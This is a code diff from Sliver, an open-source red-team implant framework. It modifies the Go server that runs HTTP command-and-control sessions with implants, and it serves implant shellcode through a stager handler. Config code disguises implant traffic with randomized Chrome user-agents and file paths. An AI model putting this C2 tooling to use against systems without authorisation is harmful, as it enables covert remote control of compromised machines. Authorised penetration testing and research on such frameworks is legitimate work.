return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
|
||||
resp.Header().Set("Server", s.getServerHeader())
|
||||
resp.Header().Set("X-Powered-By", s.getPoweredByHeader())
|
||||
resp.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate")
|
||||
|
||||
switch uri := req.URL.Path; {
|
||||
case strings.HasSuffix(uri, ".txt"):
|
||||
resp.Header().Set("Content-type", "text/plain; charset=utf-8")
|
||||
case strings.HasSuffix(uri, ".css"):
|
||||
resp.Header().Set("Content-type", "text/css; charset=utf-8")
|
||||
case strings.HasSuffix(uri, ".php"):
|
||||
resp.Header().Set("Content-type", "text/html; charset=utf-8")
|
||||
case strings.HasSuffix(uri, ".js"):
|
||||
resp.Header().Set("Content-type", "text/javascript; charset=utf-8")
|
||||
case strings.HasSuffix(uri, ".png"):
|
||||
resp.Header().Set("Content-type", "image/png")
|
||||
default:
|
||||
resp.Header().Set("Content-type", "application/octet-stream")
|
||||
if resp.Header().Get("Content-type") == "" {
|
||||
contentType := mime.TypeByExtension(req.URL.Path)
|
||||
if contentType != "" {
|
||||
resp.Header().Set("Content-type", contentType)
|
||||
} else {
|
||||
// We add a few more common mime types that aren't detected by
|
||||
// the stdlib mime library
|
||||
switch uri := req.URL.Path; {
|
||||
case strings.HasSuffix(uri, ".jsp"):
|
||||
fallthrough
|
||||
case strings.HasSuffix(uri, ".phtml"):
|
||||
fallthrough
|
||||
case strings.HasSuffix(uri, ".php"):
|
||||
resp.Header().Set("Content-type", mime.TypeByExtension(".html"))
|
||||
default:
|
||||
resp.Header().Set("Content-type", "application/octet-stream")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
next.ServeHTTP(resp, req)
|
||||
})
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Infof("Request for site %v -> %s", s.Conf.Website, req.RequestURI)
|
||||
contentType, content, err := website.GetContent(s.Conf.Website, req.RequestURI)
|
||||
httpLog.Infof("Request for site %v -> %s", s.ServerConf.Website, req.RequestURI)
|
||||
contentType, content, err := website.GetContent(s.ServerConf.Website, req.RequestURI)
|
||||
if err != nil {
|
||||
httpLog.Infof("No website content for %s", req.RequestURI)
|
||||
resp.WriteHeader(404) // No content for this path
|
||||
resp.WriteHeader(http.StatusNotFound) // No content for this path
|
||||
return
|
||||
}
|
||||
resp.Header().Set("Content-type", contentType)
|
||||
@@ -351,17 +478,19 @@ func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http
|
||||
}
|
||||
|
||||
func default404Handler(resp http.ResponseWriter, req *http.Request) {
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Debugf("[404] No match for %s", req.RequestURI)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
resp.Header().Set("Content-type", mime.TypeByExtension(".html"))
|
||||
}
|
||||
|
||||
// [ HTTP Handlers ] ---------------------------------------------------------------
|
||||
|
||||
func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
qNonce := req.URL.Query().Get("_")
|
||||
nonce, err := strconv.Atoi(qNonce)
|
||||
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
|
||||
httpLog.Debug("Public key request")
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.ServerConf.Domain)
|
||||
if err != nil {
|
||||
httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.Conf.Domain, err)
|
||||
httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.ServerConf.Domain, err)
|
||||
}
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
@@ -371,12 +500,13 @@ func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Start http session request")
|
||||
|
||||
// Note: these are the c2 certificates NOT the certificates/keys used for SSL/TLS
|
||||
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
|
||||
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.ServerConf.Domain)
|
||||
if err != nil {
|
||||
httpLog.Info("Failed to fetch rsa private key")
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Warn("Failed to fetch rsa private key")
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -386,25 +516,29 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
privateKeyBlock, _ := pem.Decode([]byte(privateKeyPEM))
|
||||
privateKey, _ := x509.ParsePKCS1PrivateKey(privateKeyBlock.Bytes)
|
||||
|
||||
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
body, _ := ioutil.ReadAll(req.Body)
|
||||
body, err := ioutil.ReadAll(req.Body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to read body %s", err)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
}
|
||||
data, err := encoder.Decode(body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to decode body %s", err)
|
||||
resp.WriteHeader(404)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
sessionInitData, err := cryptography.RSADecrypt(data, privateKey)
|
||||
if err != nil {
|
||||
httpLog.Info("RSA decryption failed")
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Error("RSA decryption failed")
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
sessionInit := &sliverpb.HTTPSessionInit{}
|
||||
@@ -416,7 +550,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
ID: core.NextSessionID(),
|
||||
Transport: "http(s)",
|
||||
RemoteAddress: getRemoteAddr(req),
|
||||
Send: make(chan *sliverpb.Envelope, 16),
|
||||
Send: make(chan *sliverpb.Envelope),
|
||||
RespMutex: &sync.RWMutex{},
|
||||
Resp: map[uint64]chan *sliverpb.Envelope{},
|
||||
})
|
||||
@@ -427,52 +561,31 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
ciphertext, err := cryptography.GCMEncrypt(httpSession.Key, []byte(httpSession.ID))
|
||||
if err != nil {
|
||||
httpLog.Info("Failed to encrypt session identifier")
|
||||
resp.WriteHeader(404)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
http.SetCookie(resp, &http.Cookie{
|
||||
Domain: s.Conf.Domain,
|
||||
Name: sessionCookieName,
|
||||
Domain: s.ServerConf.Domain,
|
||||
Name: s.getCookieName(),
|
||||
Value: httpSession.ID,
|
||||
Secure: true,
|
||||
Secure: false,
|
||||
HttpOnly: true,
|
||||
})
|
||||
resp.Write(encoder.Encode(ciphertext))
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
|
||||
httpLog.Debug("Session request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
httpLog.Infof("No session with id %#v", httpSession.ID)
|
||||
resp.WriteHeader(403)
|
||||
resp.WriteHeader(http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
|
||||
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
plaintext, err := s.readReqBody(httpSession, resp, req)
|
||||
if err != nil {
|
||||
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
body, _ := ioutil.ReadAll(req.Body)
|
||||
data, err := encoder.Decode(body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to decode body %s", err)
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
|
||||
if httpSession.isReplayAttack(data) {
|
||||
httpLog.Warn("Replay attack detected")
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
plaintext, err := cryptography.GCMDecrypt(httpSession.Key, data)
|
||||
if err != nil {
|
||||
httpLog.Warnf("GCM decryption failed %v", err)
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Warnf("Failed to decode request body: %s", err)
|
||||
return
|
||||
}
|
||||
envelope := &sliverpb.Envelope{}
|
||||
@@ -488,81 +601,134 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
|
||||
} else if handler, ok := handlers[envelope.Type]; ok {
|
||||
handler.(func(*core.Session, []byte))(httpSession.Session, envelope.Data)
|
||||
}
|
||||
resp.WriteHeader(200)
|
||||
// TODO: Return random data?
|
||||
resp.WriteHeader(http.StatusAccepted)
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Poll request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
httpLog.Infof("No session with id %#v", httpSession.ID)
|
||||
resp.WriteHeader(403)
|
||||
httpLog.Warnf("No session with id %#v", httpSession.ID)
|
||||
resp.WriteHeader(http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
|
||||
// We already know we have a valid nonce because of the middleware filter
|
||||
nonce, _ := strconv.Atoi(req.URL.Query().Get("_"))
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, _ := encoders.EncoderFromNonce(nonce)
|
||||
select {
|
||||
case envelope := <-httpSession.Session.Send:
|
||||
resp.WriteHeader(200)
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
envelopeData, _ := proto.Marshal(envelope)
|
||||
data, _ := cryptography.GCMEncrypt(httpSession.Key, envelopeData)
|
||||
resp.Write(encoder.Encode(data))
|
||||
case <-time.After(pollTimeout):
|
||||
ciphertext, err := cryptography.GCMEncrypt(httpSession.Key, envelopeData)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to encrypt message %s", err)
|
||||
ciphertext = []byte{}
|
||||
}
|
||||
resp.Write(encoder.Encode(ciphertext))
|
||||
case <-time.After(s.getPollTimeout()):
|
||||
httpLog.Debug("Poll time out")
|
||||
resp.WriteHeader(201)
|
||||
resp.Header().Set("Etag", s.randomEtag())
|
||||
resp.WriteHeader(http.StatusNoContent)
|
||||
resp.Write([]byte{})
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) stopHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request) ([]byte, error) {
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return nil, ErrInvalidEncoder
|
||||
}
|
||||
|
||||
body, err := ioutil.ReadAll(&io.LimitedReader{
|
||||
R: req.Body,
|
||||
N: int64(s.ServerConf.MaxRequestLength),
|
||||
})
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to read request body %s", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
data, err := encoder.Decode(body)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to decode body %s", err)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return nil, ErrDecodeFailed
|
||||
}
|
||||
|
||||
if httpSession.isReplayAttack(data) {
|
||||
httpLog.Warn("Replay attack detected")
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return nil, ErrReplayAttack
|
||||
}
|
||||
plaintext, err := cryptography.GCMDecrypt(httpSession.Key, data)
|
||||
return plaintext, err
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getPollTimeout() time.Duration {
|
||||
if s.ServerConf.LongPollJitter < 0 {
|
||||
s.ServerConf.LongPollJitter = 0
|
||||
}
|
||||
min := s.ServerConf.LongPollTimeout
|
||||
max := s.ServerConf.LongPollTimeout + s.ServerConf.LongPollJitter
|
||||
timeout := min + insecureRand.Float32()*(max-min)
|
||||
pollTimeout := time.Duration(timeout) * time.Second
|
||||
if pollTimeout < minPollTimeout {
|
||||
httpLog.Warnf("Poll timeout is too short, using default minimum %v", minPollTimeout)
|
||||
pollTimeout = minPollTimeout
|
||||
}
|
||||
return pollTimeout
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) randomEtag() string {
|
||||
buf := make([]byte, 16)
|
||||
rand.Read(buf)
|
||||
return hex.EncodeToString(buf[:])
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Close request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
httpLog.Infof("No session with id %#v", httpSession.ID)
|
||||
resp.WriteHeader(403)
|
||||
resp.WriteHeader(http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
|
||||
nonce := []byte(req.URL.Query().Get("nonce"))
|
||||
if httpSession.isReplayAttack(nonce) {
|
||||
httpLog.Warn("Replay attack detected")
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
_, err := cryptography.GCMDecrypt(httpSession.Key, nonce)
|
||||
_, err := s.readReqBody(httpSession, resp, req)
|
||||
if err != nil {
|
||||
httpLog.Warnf("GCM decryption failed %v", err)
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Errorf("Failed to read request body %s", err)
|
||||
resp.WriteHeader(http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
|
||||
core.Sessions.Remove(httpSession.Session.ID)
|
||||
s.HTTPSessions.Remove(httpSession.ID)
|
||||
resp.WriteHeader(200)
|
||||
resp.WriteHeader(http.StatusAccepted)
|
||||
}
|
||||
|
||||
// stagerHander - Serves the sliver shellcode to the stager requesting it
|
||||
func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Stager request")
|
||||
if len(s.SliverStage) != 0 {
|
||||
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
|
||||
resp.Write(s.SliverStage)
|
||||
httpLog.Infof("Serving sliver shellcode (size %d) to %s", len(s.SliverStage), getRemoteAddr(req))
|
||||
resp.WriteHeader(200)
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
} else {
|
||||
resp.WriteHeader(404)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession {
|
||||
for _, cookie := range req.Cookies() {
|
||||
if cookie.Name == sessionCookieName {
|
||||
httpSession := s.HTTPSessions.Get(cookie.Value)
|
||||
if httpSession != nil {
|
||||
httpSession.Session.UpdateCheckin()
|
||||
return httpSession
|
||||
}
|
||||
return nil
|
||||
httpSession := s.HTTPSessions.Get(cookie.Value)
|
||||
if httpSession != nil {
|
||||
httpSession.Session.UpdateCheckin()
|
||||
return httpSession
|
||||
}
|
||||
}
|
||||
return nil // No valid cookie names
|
||||
@@ -596,7 +762,7 @@ func getRemoteAddr(req *http.Request) string {
|
||||
// input we don't want to trust it.
|
||||
ip := net.ParseIP(ipAddress)
|
||||
if ip == nil {
|
||||
httpLog.Warnf("Failed to parse X-Header as ip address")
|
||||
httpLog.Warn("Failed to parse X-Header as ip address")
|
||||
return req.RemoteAddr
|
||||
}
|
||||
return fmt.Sprintf("tcp(%s)->%s", req.RemoteAddr, ip.String())
|
||||
@@ -0,0 +1,138 @@
|
||||
package c2
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
implantTransports "github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
)
|
||||
|
||||
func TestRsaKeyHandler(t *testing.T) {
|
||||
certs.SetupCAs()
|
||||
server, err := StartHTTPSListener(&HTTPServerConfig{
|
||||
Addr: "127.0.0.1:8888",
|
||||
EnforceOTP: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Errorf("Listener failed to start %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
router := server.router()
|
||||
|
||||
// Missing parameters
|
||||
rr := httptest.NewRecorder()
|
||||
req, _ := http.NewRequest("GET", "/test/foo.txt", nil)
|
||||
router.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusNotFound {
|
||||
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusNotFound)
|
||||
}
|
||||
|
||||
// Invalid OTP code
|
||||
for i := 0; i < 100; i++ {
|
||||
rr = httptest.NewRecorder()
|
||||
req, _ = http.NewRequest("GET", fmt.Sprintf("/test/foo.txt?aa=%d", insecureRand.Intn(99999999)), nil)
|
||||
router.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusNotFound {
|
||||
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusNotFound)
|
||||
}
|
||||
}
|
||||
|
||||
// Valid OTP code
|
||||
client := implantTransports.SliverHTTPClient{}
|
||||
baseURL := &url.URL{
|
||||
Scheme: "http",
|
||||
Host: "127.0.0.1:8888",
|
||||
Path: "/test/foo.txt",
|
||||
}
|
||||
nonce, _ := implantEncoders.RandomEncoder()
|
||||
testURL := client.NonceQueryArgument(baseURL, nonce)
|
||||
|
||||
now := time.Now().UTC()
|
||||
opts := totp.ValidateOpts{
|
||||
Digits: 8,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: uint(30),
|
||||
Skew: uint(1),
|
||||
}
|
||||
secret, _ := cryptography.TOTPServerSecret()
|
||||
code, _ := totp.GenerateCodeCustom(secret, now, opts)
|
||||
|
||||
testURL = client.OTPQueryArgument(baseURL, code)
|
||||
rr = httptest.NewRecorder()
|
||||
req, _ = http.NewRequest("GET", testURL.String(), nil)
|
||||
router.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusOK {
|
||||
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusOK)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func TestGetOTPFromURL(t *testing.T) {
|
||||
client := implantTransports.SliverHTTPClient{}
|
||||
|
||||
for i := 0; i < 100; i++ {
|
||||
baseURL := &url.URL{
|
||||
Scheme: "http",
|
||||
Host: "127.0.0.1:8888",
|
||||
Path: "/test/foo.txt",
|
||||
}
|
||||
value := fmt.Sprintf("%d", insecureRand.Intn(99999999))
|
||||
testURL := client.OTPQueryArgument(baseURL, value)
|
||||
urlValue, err := getOTPFromURL(testURL)
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
}
|
||||
if urlValue != value {
|
||||
t.Fatalf("Mismatched OTP values %s (%s != %s)", testURL.String(), value, urlValue)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetNonceFromURL(t *testing.T) {
|
||||
client := implantTransports.SliverHTTPClient{}
|
||||
for i := 0; i < 100; i++ {
|
||||
baseURL := &url.URL{
|
||||
Scheme: "http",
|
||||
Host: "127.0.0.1:8888",
|
||||
Path: "/test/foo.txt",
|
||||
}
|
||||
nonce, _ := implantEncoders.RandomEncoder()
|
||||
testURL := client.NonceQueryArgument(baseURL, nonce)
|
||||
urlNonce, err := getNonceFromURL(testURL)
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
}
|
||||
if urlNonce != nonce {
|
||||
t.Fatalf("Mismatched encoder nonces %s (%d != %d)", testURL.String(), nonce, urlNonce)
|
||||
}
|
||||
}
|
||||
}
|
||||
+4
-4
@@ -223,8 +223,8 @@ func StartHTTPListenerJob(conf *HTTPServerConfig) (*core.Job, error) {
|
||||
|
||||
go func() {
|
||||
var err error
|
||||
if server.Conf.Secure {
|
||||
if server.Conf.ACME {
|
||||
if server.ServerConf.Secure {
|
||||
if server.ServerConf.ACME {
|
||||
err = server.HTTPServer.ListenAndServeTLS("", "") // ACME manager pulls the certs under the hood
|
||||
} else {
|
||||
err = listenAndServeTLS(server.HTTPServer, conf.Cert, conf.Key)
|
||||
@@ -315,8 +315,8 @@ func StartHTTPStagerListenerJob(conf *HTTPServerConfig, data []byte) (*core.Job,
|
||||
|
||||
go func() {
|
||||
var err error
|
||||
if server.Conf.Secure {
|
||||
if server.Conf.ACME {
|
||||
if server.ServerConf.Secure {
|
||||
if server.ServerConf.ACME {
|
||||
err = server.HTTPServer.ListenAndServeTLS("", "") // ACME manager pulls the certs under the hood
|
||||
} else {
|
||||
err = listenAndServeTLS(server.HTTPServer, conf.Cert, conf.Key)
|
||||
|
||||
File renamed without changes.
@@ -1,5 +1,23 @@
|
||||
package c2
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
@@ -25,7 +43,7 @@ var (
|
||||
tunIP = "100.64.0.1" // Don't let user configure this for now
|
||||
)
|
||||
|
||||
// StartWGListener - First ceates an inet.af network stack.
|
||||
// StartWGListener - First creates an inet.af network stack.
|
||||
// then creates a Wireguard device/interface and applies configuration.
|
||||
// Go routines are spun up to handle key exchange connections, as well
|
||||
// as c2 comms connections.
|
||||
@@ -146,8 +164,7 @@ func handleKeyExchangeConnection(conn net.Conn) {
|
||||
} else {
|
||||
wgLog.Infof("Successfully generated new wg keys")
|
||||
message := implantPrivKey + "|" + serverPubKey + "|" + string(ip)
|
||||
|
||||
wgLog.Infof("Sending new wg keys and IP: %s", message)
|
||||
wgLog.Debugf("Sending new wg keys and IP: %s", message)
|
||||
conn.Write([]byte(message))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,489 @@
|
||||
package configs
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"path"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
)
|
||||
|
||||
const (
|
||||
httpC2ConfigFileName = "http-c2.json"
|
||||
chromeBaseVer = 89
|
||||
)
|
||||
|
||||
// HTTPC2Config - Parent config file struct for implant/server
|
||||
type HTTPC2Config struct {
|
||||
ImplantConfig *HTTPC2ImplantConfig `json:"implant_config"`
|
||||
ServerConfig *HTTPC2ServerConfig `json:"server_config"`
|
||||
}
|
||||
|
||||
// GenerateUserAgent - Generate a user-agent depending on OS/Arch
|
||||
func (h *HTTPC2Config) GenerateUserAgent(goos string, goarch string) string {
|
||||
return h.generateChromeUserAgent(goos, goarch)
|
||||
}
|
||||
|
||||
func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) string {
|
||||
if h.ImplantConfig.UserAgent == "" {
|
||||
switch goos {
|
||||
case "windows":
|
||||
switch goarch {
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
case "linux":
|
||||
switch goarch {
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
case "darwin":
|
||||
switch goarch {
|
||||
case "arm64":
|
||||
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
}
|
||||
} else {
|
||||
return h.ImplantConfig.UserAgent
|
||||
}
|
||||
|
||||
// Default is a generic Windows/Chrome
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
// ChromeVer - Generate a random Chrome user-agent
|
||||
func (h *HTTPC2Config) ChromeVer() string {
|
||||
return fmt.Sprintf("%d.0.%d.%d", chromeBaseVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
|
||||
}
|
||||
|
||||
// RandomImplantConfig - Randomly generate a config
|
||||
func (h *HTTPC2Config) RandomImplantConfig() *HTTPC2ImplantConfig {
|
||||
config := &HTTPC2ImplantConfig{}
|
||||
*config = *h.ImplantConfig
|
||||
|
||||
config.KeyExchangeFiles = h.ImplantConfig.RandomKeyExchangeFiles()
|
||||
config.KeyExchangePaths = h.ImplantConfig.RandomKeyExchangePaths()
|
||||
|
||||
config.PollFiles = h.ImplantConfig.RandomPollFiles()
|
||||
config.PollPaths = h.ImplantConfig.RandomPollPaths()
|
||||
|
||||
config.SessionFiles = h.ImplantConfig.RandomSessionFiles()
|
||||
config.SessionPaths = h.ImplantConfig.RandomSessionPaths()
|
||||
|
||||
config.CloseFiles = h.ImplantConfig.RandomCloseFiles()
|
||||
config.ClosePaths = h.ImplantConfig.RandomClosePaths()
|
||||
|
||||
return config
|
||||
}
|
||||
|
||||
type HTTPHeader struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
// HTTPC2ServerConfig - Server configuration options
|
||||
type HTTPC2ServerConfig struct {
|
||||
RandomVersionHeaders bool `json:"random_version_headers"`
|
||||
ExtraHeaders []HTTPHeader `json:"headers"`
|
||||
Cookies []string `json:"cookies"`
|
||||
}
|
||||
|
||||
// HTTPC2ImplantConfig - Implant configuration options
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .css = start
|
||||
// .php = session
|
||||
// .js = poll
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
type HTTPC2ImplantConfig struct {
|
||||
UserAgent string `json:"user_agent"`
|
||||
URLParameters []string `json:"url_parameters"`
|
||||
Headers []string `json:"headers"`
|
||||
|
||||
MaxFiles int `json:"max_files"`
|
||||
MinFiles int `json:"min_files"`
|
||||
MaxPaths int `json:"max_paths"`
|
||||
MinPaths int `json:"min_paths"`
|
||||
|
||||
// Stager File Extension
|
||||
StagerFileExt string `json:"stager_file_ext"`
|
||||
|
||||
// Key Exchange (default .txt) files and paths
|
||||
KeyExchangeFileExt string `json:"key_exchange_file_ext"`
|
||||
KeyExchangeFiles []string `json:"key_exchange_files"`
|
||||
KeyExchangePaths []string `json:"key_exchange_paths"`
|
||||
|
||||
// Poll files and paths
|
||||
PollFileExt string `json:"poll_file_ext"`
|
||||
PollFiles []string `json:"poll_files"`
|
||||
